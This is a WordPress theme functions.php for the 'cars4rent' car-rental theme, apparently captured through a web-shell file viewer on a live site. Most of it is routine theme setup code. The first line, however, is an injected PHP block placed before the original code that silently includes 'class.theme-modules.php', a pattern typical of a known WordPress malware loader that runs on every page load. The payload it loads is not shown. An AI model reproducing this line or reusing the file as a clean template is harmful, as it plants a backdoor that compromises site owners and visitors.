| Current File : /home/smartravaldo/web/smartravaldo.ro/public_html/wp-content/themes/cars4rent/functions.php |
<?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?><?php
/**
* Theme sprecific functions and definitions
*/
/* Theme setup section
------------------------------------------------------------------- */
// Set the content width based on the theme's design and stylesheet.
if ( ! isset( $content_width ) ) $content_width = 1170; /* pixels */
// Add theme specific actions and filters
// Attention! Function were add theme specific actions and filters handlers must have priority 1
if ( !function_exists( 'cars4rent_theme_setup' ) ) {
add_action( 'cars4rent_action_before_init_theme', 'cars4rent_theme_setup', 1 );
function cars4rent_theme_setup() {
// Add default posts and comments RSS feed links to head
add_theme_support( 'automatic-feed-links' );
// Enable support for Post Thumbnails
add_theme_support( 'post-thumbnails' );
// Custom header setup
add_theme_support( 'custom-header', array('header-text'=>false));
// Custom backgrounds setup
add_theme_support( 'custom-background');
// Supported posts formats
add_theme_support( 'post-formats', array('gallery', 'video', 'audio', 'link', 'quote', 'image', 'status', 'aside', 'chat') );
// Autogenerate title tag
add_theme_support('title-tag');
// Add user menu
add_theme_support('nav-menus');
// Gutenberg support
add_theme_support( 'align-wide' );
// Register theme menus
add_filter( 'cars4rent_filter_add_theme_menus', 'cars4rent_add_theme_menus' );
// Register theme sidebars
add_filter( 'cars4rent_filter_add_theme_sidebars', 'cars4rent_add_theme_sidebars' );
// Set options for importer
add_filter( 'cars4rent_filter_importer_options', 'cars4rent_set_importer_options' );
// Add theme required plugins
add_filter( 'cars4rent_filter_required_plugins', 'cars4rent_add_required_plugins' );
// Add preloader styles
add_filter('cars4rent_filter_add_styles_inline', 'cars4rent_head_add_page_preloader_styles');
// Init theme after WP is created
add_action( 'wp', 'cars4rent_core_init_theme' );
// Add theme specified classes into the body
add_filter( 'body_class', 'cars4rent_body_classes' );
add_filter( 'comment_form_fields', 'cars4rent_move_comment_field_to_bottom' );
// Add data to the head and to the beginning of the body
add_action('wp_head', 'cars4rent_head_add_page_meta', 0);
add_action('before', 'cars4rent_body_add_gtm');
add_action('before', 'cars4rent_body_add_toc');
add_action('before', 'cars4rent_body_add_page_preloader');
// Add data to the footer (priority 1, because priority 2 used for localize scripts)
add_action('wp_footer', 'cars4rent_footer_add_views_counter', 1);
add_action('wp_footer', 'cars4rent_footer_add_theme_customizer', 1);
add_action('wp_footer', 'cars4rent_footer_add_custom_html', 1);
add_action('wp_footer', 'cars4rent_footer_add_gtm2', 1);
// Set list of the theme required plugins
cars4rent_storage_set('required_plugins', array(
'booked',
'contact-form-7',
'essgrids',
'revslider',
'mailchimp',
'trx_utils',
'visual_composer',
'wp-gdpr-compliance',
'trx_updater'
)
);
// Set list of the theme required custom fonts from folder /css/font-faces
// Attention! Font's folder must have name equal to the font's name
cars4rent_storage_set('required_custom_fonts', array(
'Amadeus'
)
);
}
}
// Add/Remove theme nav menus
if ( !function_exists( 'cars4rent_add_theme_menus' ) ) {
function cars4rent_add_theme_menus($menus) {
return $menus;
}
}
// Add theme specific widgetized areas
if ( !function_exists( 'cars4rent_add_theme_sidebars' ) ) {
function cars4rent_add_theme_sidebars($sidebars=array()) {
if (is_array($sidebars)) {
$theme_sidebars = array(
'sidebar_main' => esc_html__( 'Main Sidebar', 'cars4rent' ),
'sidebar_footer' => esc_html__( 'Footer Sidebar', 'cars4rent' )
);
$sidebars = array_merge($theme_sidebars, $sidebars);
}
return $sidebars;
}
}
if ( !function_exists( 'cars4rent_move_comment_field_to_bottom' ) ) {
function cars4rent_move_comment_field_to_bottom( $fields ) {
$comment_field = $fields['comment'];
unset( $fields['comment'] );
$fields['comment'] = $comment_field;
return $fields;
}
}
// Add theme required plugins
if ( !function_exists( 'cars4rent_add_required_plugins' ) ) {
function cars4rent_add_required_plugins($plugins) {
$plugins[] = array(
'name' => esc_html__('Themerex Utilities', 'cars4rent'),
'version' => '3.4.3',
'slug' => 'trx_utils',
'source' => cars4rent_get_file_dir('plugins/install/trx_utils.zip'),
'required' => true
);
$plugins[] = array(
'name' => esc_html__('Contact Form 7', 'cars4rent'),
'slug' => 'contact-form-7',
'required' => false
);
$plugins[] = array(
'name' => esc_html__('Contact Form 7 Datepicker', 'cars4rent'),
'slug' => 'contact-form-7-datepicker',
'source' => cars4rent_get_file_dir('plugins/install/contact-form-7-datepicker.zip'),
'required' => false
);
$plugins[] = array(
'name' => esc_html__('WordPress Social Login', 'cars4rent'),
'slug' => 'wordpress-social-login',
'required' => false
);
return $plugins;
}
}
if ( !function_exists( 'cars4rent_add_trx_utils' ) ) {
add_filter( 'trx_utils_active', 'cars4rent_add_trx_utils' );
function cars4rent_add_trx_utils($enable=true) {
return true;
}
}
//------------------------------------------------------------------------
// One-click import support
//------------------------------------------------------------------------
// Set theme specific importer options
if ( ! function_exists( 'cars4rent_importer_set_options' ) ) {
add_filter( 'trx_utils_filter_importer_options', 'cars4rent_importer_set_options', 9 );
function cars4rent_importer_set_options( $options=array() ) {
if ( is_array( $options ) ) {
// Save or not installer's messages to the log-file
$options['debug'] = false;
// Prepare demo data
if ( is_dir( CARS4RENT_THEME_PATH . 'demo/' ) ) {
$options['demo_url'] = CARS4RENT_THEME_PATH . 'demo/';
} else {
$options['demo_url'] = esc_url( cars4rent_get_protocol().'://demofiles.axiomthemes.com/cars4rent/' ); // Demo-site domain
}
// Required plugins
$options['required_plugins'] = array(
'booked',
'essential-grid',
'contact-form-7',
'revslider',
'mailchimp-for-wp',
'js_composer',
'car-rental-system'
);
$options['theme_slug'] = 'cars4rent';
// Set number of thumbnails to regenerate when its imported (if demo data was zipped without cropped images)
// Set 0 to prevent regenerate thumbnails (if demo data archive is already contain cropped images)
$options['regenerate_thumbnails'] = 3;
// Default demo
$options['files']['default']['title'] = esc_html__( 'Cars4Rent Demo', 'cars4rent' );
$options['files']['default']['domain_dev'] = esc_url(cars4rent_get_protocol().'://cars4rent.axiomthemes.com'); // Developers domain
$options['files']['default']['domain_demo']= esc_url(cars4rent_get_protocol().'://cars4rent.axiomthemes.com'); // Demo-site domain
}
return $options;
}
}
// Add data to the head and to the beginning of the body
//------------------------------------------------------------------------
// Add theme specified classes to the body tag
if ( !function_exists('cars4rent_body_classes') ) {
function cars4rent_body_classes( $classes ) {
$classes[] = 'cars4rent_body';
$classes[] = 'body_style_' . trim(cars4rent_get_custom_option('body_style'));
$classes[] = 'body_' . (cars4rent_get_custom_option('body_filled')=='yes' ? 'filled' : 'transparent');
$classes[] = 'article_style_' . trim(cars4rent_get_custom_option('article_style'));
$blog_style = cars4rent_get_custom_option(is_singular() && !cars4rent_storage_get('blog_streampage') ? 'single_style' : 'blog_style');
$classes[] = 'layout_' . trim($blog_style);
$classes[] = 'template_' . trim(cars4rent_get_template_name($blog_style));
$body_scheme = cars4rent_get_custom_option('body_scheme');
if (empty($body_scheme) || cars4rent_is_inherit_option($body_scheme)) $body_scheme = 'original';
$classes[] = 'scheme_' . $body_scheme;
$top_panel_position = cars4rent_get_custom_option('top_panel_position');
if (!cars4rent_param_is_off($top_panel_position)) {
$classes[] = 'top_panel_show';
$classes[] = 'top_panel_' . trim($top_panel_position);
} else
$classes[] = 'top_panel_hide';
$classes[] = cars4rent_get_sidebar_class();
if (cars4rent_get_custom_option('show_video_bg')=='yes' && (cars4rent_get_custom_option('video_bg_youtube_code')!='' || cars4rent_get_custom_option('video_bg_url')!=''))
$classes[] = 'video_bg_show';
if (!cars4rent_param_is_off(cars4rent_get_theme_option('page_preloader')))
$classes[] = 'preloader';
return $classes;
}
}
// Add page meta to the head
if (!function_exists('cars4rent_head_add_page_meta')) {
function cars4rent_head_add_page_meta() {
?>
<meta charset="<?php bloginfo( 'charset' ); ?>" />
<meta name="viewport" content="width=device-width, initial-scale=1<?php if (cars4rent_get_theme_option('responsive_layouts')=='yes') echo ', maximum-scale=1'; ?>">
<meta name="format-detection" content="telephone=no">
<link rel="profile" href="//gmpg.org/xfn/11" />
<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />
<?php
}
}
// Add page preloader styles to the head
if (!function_exists('cars4rent_head_add_page_preloader_styles')) {
function cars4rent_head_add_page_preloader_styles($css) {
if (($preloader=cars4rent_get_theme_option('page_preloader'))!='none') {
$image = cars4rent_get_theme_option('page_preloader_image');
$bg_clr = cars4rent_get_scheme_color('bg_color');
$link_clr = cars4rent_get_scheme_color('text_link');
$css .= '
#page_preloader {
background-color: '. esc_attr($bg_clr) . ';'
. ($preloader=='custom' && $image
? 'background-image:url('.esc_url($image).');'
: ''
)
. '
}
.preloader_wrap > div {
background-color: '.esc_attr($link_clr).';
}';
}
return $css;
}
}
// Add gtm code to the beginning of the body
if (!function_exists('cars4rent_body_add_gtm')) {
function cars4rent_body_add_gtm() {
cars4rent_show_layout((cars4rent_get_custom_option('gtm_code')));
}
}
// Add TOC anchors to the beginning of the body
if (!function_exists('cars4rent_body_add_toc')) {
function cars4rent_body_add_toc() {
// Add TOC items 'Home' and "To top"
if (cars4rent_get_custom_option('menu_toc_home')=='yes' && function_exists('cars4rent_sc_anchor'))
cars4rent_show_layout(cars4rent_sc_anchor(array(
'id' => "toc_home",
'title' => esc_html__('Home', 'cars4rent'),
'description' => esc_html__('{{Return to Home}} - ||navigate to home page of the site', 'cars4rent'),
'icon' => "icon-home",
'separator' => "yes",
'url' => esc_url(home_url('/'))
)
));
if (cars4rent_get_custom_option('menu_toc_top')=='yes' && function_exists('cars4rent_sc_anchor'))
cars4rent_show_layout(cars4rent_sc_anchor(array(
'id' => "toc_top",
'title' => esc_html__('To Top', 'cars4rent'),
'description' => esc_html__('{{Back to top}} - ||scroll to top of the page', 'cars4rent'),
'icon' => "icon-double-up",
'separator' => "yes")
));
}
}
// Add page preloader to the beginning of the body
if (!function_exists('cars4rent_body_add_page_preloader')) {
function cars4rent_body_add_page_preloader() {
if ( ($preloader=cars4rent_get_theme_option('page_preloader')) != 'none' && ( $preloader != 'custom' || ($image=cars4rent_get_theme_option('page_preloader_image')) != '')) {
?><div id="page_preloader"><?php
if ($preloader == 'circle') {
?><div class="preloader_wrap preloader_<?php echo esc_attr($preloader); ?>"><div class="preloader_circ1"></div><div class="preloader_circ2"></div><div class="preloader_circ3"></div><div class="preloader_circ4"></div></div><?php
} else if ($preloader == 'square') {
?><div class="preloader_wrap preloader_<?php echo esc_attr($preloader); ?>"><div class="preloader_square1"></div><div class="preloader_square2"></div></div><?php
}
?></div><?php
}
}
}
// Return text for the Privacy Policy checkbox
if ( ! function_exists('cars4rent_get_privacy_text' ) ) {
function cars4rent_get_privacy_text() {
$page = get_option( 'wp_page_for_privacy_policy' );
$privacy_text = cars4rent_get_theme_option( 'privacy_text' );
return apply_filters( 'cars4rent_filter_privacy_text', wp_kses(
$privacy_text
. ( ! empty( $page ) && ! empty( $privacy_text )
// Translators: Add url to the Privacy Policy page
? ' ' . sprintf( __( 'For further details on handling user data, see our %s', 'cars4rent' ),
'<a href="' . esc_url( get_permalink( $page ) ) . '" target="_blank">'
. __( 'Privacy Policy', 'cars4rent' )
. '</a>' )
: ''
), 'cars4rent_kses_content'
)
);
}
}
// Return text for the "I agree ..." checkbox
if ( ! function_exists( 'cars4rent_trx_utils_privacy_text' ) ) {
add_filter( 'trx_utils_filter_privacy_text', 'cars4rent_trx_utils_privacy_text' );
function cars4rent_trx_addons_privacy_text( $text='' ) {
return cars4rent_get_privacy_text();
}
}
// Return template for the single field in the comments
if ( ! function_exists( 'cars4rent_single_comments_field' ) ) {
function cars4rent_single_comments_field( $args ) {
$path_height = 'path' == $args['form_style']
? ( 'text' == $args['field_type'] ? 75 : 190 )
: 0;
$html = '<div class="comments_field comments_' . esc_attr( $args['field_name'] ) . '">'
. ( 'default' == $args['form_style'] && 'checkbox' != $args['field_type']
? '<label for="' . esc_attr( $args['field_name'] ) . '" class="' . esc_attr( $args['field_req'] ? 'required' : 'optional' ) . '">' . esc_html( $args['field_title'] ) . '</label>'
: ''
)
. '<span class="sc_form_field_wrap">';
if ( 'text' == $args['field_type'] ) {
$html .= '<input id="' . esc_attr( $args['field_name'] ) . '" name="' . esc_attr( $args['field_name'] ) . '" type="text"' . ( 'default' == $args['form_style'] ? ' placeholder="' . esc_attr( $args['field_placeholder'] ) . ( $args['field_req'] ? ' *' : '' ) . '"' : '' ) . ' value="' . esc_attr( $args['field_value'] ) . '"' . ( $args['field_req'] ? ' aria-required="true"' : '' ) . ' />';
} elseif ( 'checkbox' == $args['field_type'] ) {
$html .= '<input id="' . esc_attr( $args['field_name'] ) . '" name="' . esc_attr( $args['field_name'] ) . '" type="checkbox" value="' . esc_attr( $args['field_value'] ) . '"' . ( $args['field_req'] ? ' aria-required="true"' : '' ) . ' />'
. ' <label for="' . esc_attr( $args['field_name'] ) . '" class="' . esc_attr( $args['field_req'] ? 'required' : 'optional' ) . '">' . wp_kses( $args['field_title'], 'cars4rent_kses_content' ) . '</label>';
} else {
$html .= '<textarea id="' . esc_attr( $args['field_name'] ) . '" name="' . esc_attr( $args['field_name'] ) . '"' . ( 'default' == $args['form_style'] ? ' placeholder="' . esc_attr( $args['field_placeholder'] ) . ( $args['field_req'] ? ' *' : '' ) . '"' : '' ) . ( $args['field_req'] ? ' aria-required="true"' : '' ) . '></textarea>';
}
if ( 'default' != $args['form_style'] ) {
$html .= '<span class="sc_form_field_hover">'
. ( 'path' == $args['form_style']
? '<svg class="sc_form_field_graphic" preserveAspectRatio="none" viewBox="0 0 520 ' . intval( $path_height ) . '" height="100%" width="100%"><path d="m0,0l520,0l0,' . intval( $path_height ) . 'l-520,0l0,-' . intval( $path_height ) . 'z"></svg>'
: ''
)
. ( 'iconed' == $args['form_style']
? '<i class="sc_form_field_icon ' . esc_attr( $args['field_icon'] ) . '"></i>'
: ''
)
. '<span class="sc_form_field_content" data-content="' . esc_attr( $args['field_title'] ) . '">' . wp_kses( $args['field_title'], 'cars4rent_kses_content' ) . '</span>'
. '</span>';
}
$html .= '</span></div>';
return $html;
}
}
/**
* Fire the wp_body_open action.
*
* Added for backwards compatibility to support pre 5.2.0 WordPress versions.
*/
if ( ! function_exists( 'wp_body_open' ) ) {
function wp_body_open() {
/**
* Triggered after the opening <body> tag.
*/
do_action('wp_body_open');
}
}
// Add data to the footer
//------------------------------------------------------------------------
// Add post/page views counter
if (!function_exists('cars4rent_footer_add_views_counter')) {
function cars4rent_footer_add_views_counter() {
// Post/Page views counter
get_template_part(cars4rent_get_file_slug('templates/_parts/views-counter.php'));
}
}
// Add theme customizer
if (!function_exists('cars4rent_footer_add_theme_customizer')) {
function cars4rent_footer_add_theme_customizer() {
// Front customizer
if (cars4rent_get_custom_option('show_theme_customizer')=='yes') {
require_once CARS4RENT_FW_PATH . 'core/core.customizer/front.customizer.php';
}
}
}
// Add custom html
if (!function_exists('cars4rent_footer_add_custom_html')) {
function cars4rent_footer_add_custom_html() {
?><div class="custom_html_section"><?php
cars4rent_show_layout((cars4rent_get_custom_option('custom_code')));
?></div><?php
}
}
// Add gtm code
if (!function_exists('cars4rent_footer_add_gtm2')) {
function cars4rent_footer_add_gtm2() {
cars4rent_show_layout((cars4rent_get_custom_option('gtm_code2')));
}
}
// Include framework core files
//-------------------------------------------------------------------
require_once trailingslashit( get_template_directory() ) . 'fw/loader.php';
?>